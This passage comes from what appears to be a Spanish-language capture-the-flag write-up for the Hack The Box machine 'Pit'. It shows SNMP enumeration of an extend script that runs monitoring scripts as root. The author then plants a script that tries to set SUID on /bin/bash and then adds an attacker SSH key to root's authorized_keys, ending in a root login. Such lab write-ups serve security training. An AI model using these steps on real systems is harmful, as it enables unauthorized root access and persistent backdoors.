unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
17:10:55 up 2:06, 1 user, load average: 0.00, 0.02, 0.11
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."memory" = INTEGER: 3
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 27
NET-SNMP-EXTEND-MIB::nsExtendResult."memory" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".1 = STRING: total used free shared buff/cache available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".2 = STRING: Mem: 4023500 368524 3326800 8808 328176 3422476
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".3 = STRING: Swap: 1961980 0 1961980
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: Labeling MLS/ MLS/
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux User Prefix MCS Level MCS Range SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: guest_u user s0 s0 guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING: root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: user_u user s0 s0 user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: xguest_u user s0 s0 xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: Login Name SELinux User MLS/MCS Range Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: __default__ unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: michelle user_u s0 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: root unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: 17:10:55 up 2:06, 1 user, load average: 0.00, 0.02, 0.11
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = No more variables left in this MIB View (It is past the end of the MIB tree)
Al final del escaneo vemos lo que parece ser la ejecución de un script /usr/bin/monitor. Podemos probar a ejecutar directamente ese MIB y ver si se ejecuta el comando.
❯ snmpbulkwalk -v2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
MIB search path: /root/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf
Cannot find module (IANA-STORAGE-MEDIA-TYPE-MIB): At line 19 in /usr/share/snmp/mibs/ietf/VM-MIB
Did not find 'IANAStorageMediaType' in module #-1 (/usr/share/snmp/mibs/ietf/VM-MIB)
Cannot find module (IEEE8021-CFM-MIB): At line 30 in /usr/share/snmp/mibs/ietf/TRILL-OAM-MIB
Cannot find module (LLDP-MIB): At line 35 in /usr/share/snmp/mibs/ietf/TRILL-OAM-MIB
Did not find 'dot1agCfmMdIndex' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'dot1agCfmMaIndex' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'dot1agCfmMepIdentifier' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'dot1agCfmMepEntry' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'dot1agCfmMepDbEntry' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'Dot1agCfmIngressActionFieldValue' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'Dot1agCfmEgressActionFieldValue' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'Dot1agCfmRemoteMepState' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'LldpChassisId' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'LldpChassisIdSubtype' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'LldpPortId' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Did not find 'LldpPortIdSubtype' in module #-1 (/usr/share/snmp/mibs/ietf/TRILL-OAM-MIB)
Bad operator (INTEGER): At line 73 in /usr/share/snmp/mibs/ietf/SNMPv2-PDU
Cannot find module (IANA-SMF-MIB): At line 28 in /usr/share/snmp/mibs/ietf/SMF-MIB
Did not find 'IANAsmfOpModeIdTC' in module #-1 (/usr/share/snmp/mibs/ietf/SMF-MIB)
Did not find 'IANAsmfRssaIdTC' in module #-1 (/usr/share/snmp/mibs/ietf/SMF-MIB)
Cannot find module (IANAPowerStateSet-MIB): At line 20 in /usr/share/snmp/mibs/ietf/ENERGY-OBJECT-MIB
Did not find 'PowerStateSet' in module #-1 (/usr/share/snmp/mibs/ietf/ENERGY-OBJECT-MIB)
Cannot find module (IANA-OLSRv2-LINK-METRIC-TYPE-MIB): At line 26 in /usr/share/snmp/mibs/ietf/OLSRv2-MIB
Did not find 'IANAolsrv2LinkMetricTypeTC' in module #-1 (/usr/share/snmp/mibs/ietf/OLSRv2-MIB)
Cannot find module (IANA-ENERGY-RELATION-MIB): At line 22 in /usr/share/snmp/mibs/ietf/ENERGY-OBJECT-CONTEXT-MIB
Did not find 'IANAEnergyRelationship' in module #-1 (/usr/share/snmp/mibs/ietf/ENERGY-OBJECT-CONTEXT-MIB)
Cannot find module (IANA-BFD-TC-STD-MIB): At line 30 in /usr/share/snmp/mibs/ietf/BFD-STD-MIB
Did not find 'IANAbfdDiagTC' in module #-1 (/usr/share/snmp/mibs/ietf/BFD-STD-MIB)
Did not find 'IANAbfdSessTypeTC' in module #-1 (/usr/share/snmp/mibs/ietf/BFD-STD-MIB)
Did not find 'IANAbfdSessOperModeTC' in module #-1 (/usr/share/snmp/mibs/ietf/BFD-STD-MIB)
Did not find 'IANAbfdSessStateTC' in module #-1 (/usr/share/snmp/mibs/ietf/BFD-STD-MIB)
Did not find 'IANAbfdSessAuthenticationTypeTC' in module #-1 (/usr/share/snmp/mibs/ietf/BFD-STD-MIB)
Did not find 'IANAbfdSessAuthenticationKeyTC' in module #-1 (/usr/share/snmp/mibs/ietf/BFD-STD-MIB)
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 2
NET-SNMP-EXTEND-MIB::nsExtendCommand."memory" = STRING: /usr/bin/free
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."memory" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."memory" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."memory" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."memory" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."memory" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."memory" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."memory" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."memory" = STRING: total used free shared buff/cache available
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."memory" = STRING: total used free shared buff/cache available
Mem: 4023500 368804 3326520 8808 328176 3422196
Swap: 1961980 0 1961980
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
17:13:02 up 2:08, 1 user, load average: 0.07, 0.03, 0.09
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."memory" = INTEGER: 3
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 27
NET-SNMP-EXTEND-MIB::nsExtendResult."memory" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".1 = STRING: total used free shared buff/cache available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".2 = STRING: Mem: 4023500 368804 3326520 8808 328176 3422196
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".3 = STRING: Swap: 1961980 0 1961980
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: Labeling MLS/ MLS/
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux User Prefix MCS Level MCS Range SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: guest_u user s0 s0 guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING: root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: user_u user s0 s0 user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: xguest_u user s0 s0 xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: Login Name SELinux User MLS/MCS Range Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: __default__ unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: michelle user_u s0 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: root unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: 17:13:02 up 2:08, 1 user, load average: 0.07, 0.03, 0.09
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = No more variables left in this MIB View (It is past the end of the MIB tree)
Si estamos atentos podemos ver que el resultado del comando uptime se ha actualizado, además el escaneo tarda un poco más en terminar a la hora de ejecutar el supuesto script.
[michelle@pit tmp]$ cat /usr/bin/monitor
#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
done
Al revisar el contenido del script que se ejecuta a la hora de realizar el escaneo por snmp podemos ver que itera por todos los archivos que contengan la palabra check seguido de cualquier contenido terminado por sh, cada archivo que encuentre lo ejecuta. Si suponemos que esto lo hace el usuario root, podemos intentar una escalada de privilegios.
[michelle@pit tmp]$ vi /usr/local/monitoring/check_test.sh
#!/bin/bash
chmod u+s /bin/bash
Una vez creado el archivo volvemos a ejecutar el script mediante el escaneo por SNMP
❯ snmpbulkwalk -v2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
.....
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: chmod: changing permissions of '/bin/bash': Permission denied
.....
Si nos fijamos el usuario no puede establecer los permisos SUID a la /bin/bash, por lo tanto tenemos que intentar otra vía para escalar los privilegios.
[michelle@pit ~]$ vi /usr/local/monitoring/check_test.sh
#!/bin/bash
echo "Este comando ha sido ejecutado con el usuario $(whoami)"
❯ snmpbulkwalk -v2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
.....
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: Este comando ha sido ejecutado con el usuario root
.....
De esta forma podemos ver que el usuario que ejecuta el script es root.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519):
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:ZedOtLZi1VOk//U1kQo+QnV5KD6oYzsWnkocg+O1Od8 root@pyuser
The key's randomart image is:
+--[ED25519 256]--+
| . .o .|
| ...o +.|
| .=.+ oo.|
| . .+.*.o.o.|
| o + S. oB.o.+|
| . + == .=.. .*|
| . *o = o o o|
| . o*.. . |
| .o..E |
+----[SHA256]-----+
❯ cat /root/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHLy5Lf3MDL8GoeFEKtb1eHuSgAPVUFLij4/OtMiNaD1 root@pyuser
Creamos la claves ssh en nuestro sistema.
[michelle@pit ~]$ vi /usr/local/monitoring/check_test.sh
#!/bin/bash
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHLy5Lf3MDL8GoeFEKtb1eHuSgAPVUFLij4/OtMiNaD1 root@pyuser" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
Añadimos la clave pública de nuestro sistema al archivo authorized_keys del usuario root.
❯ snmpbulkwalk -v2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
Ejecutamos el script mediante el escaneo de snmp.
❯ chmod 600 /root/.ssh/id_ed25519
❯ ssh -i /root/.ssh/id_ed25519 root@10.10.10.241
Web console: https://pit.htb:9090/ or https://10.10.10.241:9090/
Last login: Thu Nov 3 06:15:20 2022
[root@pit ~]#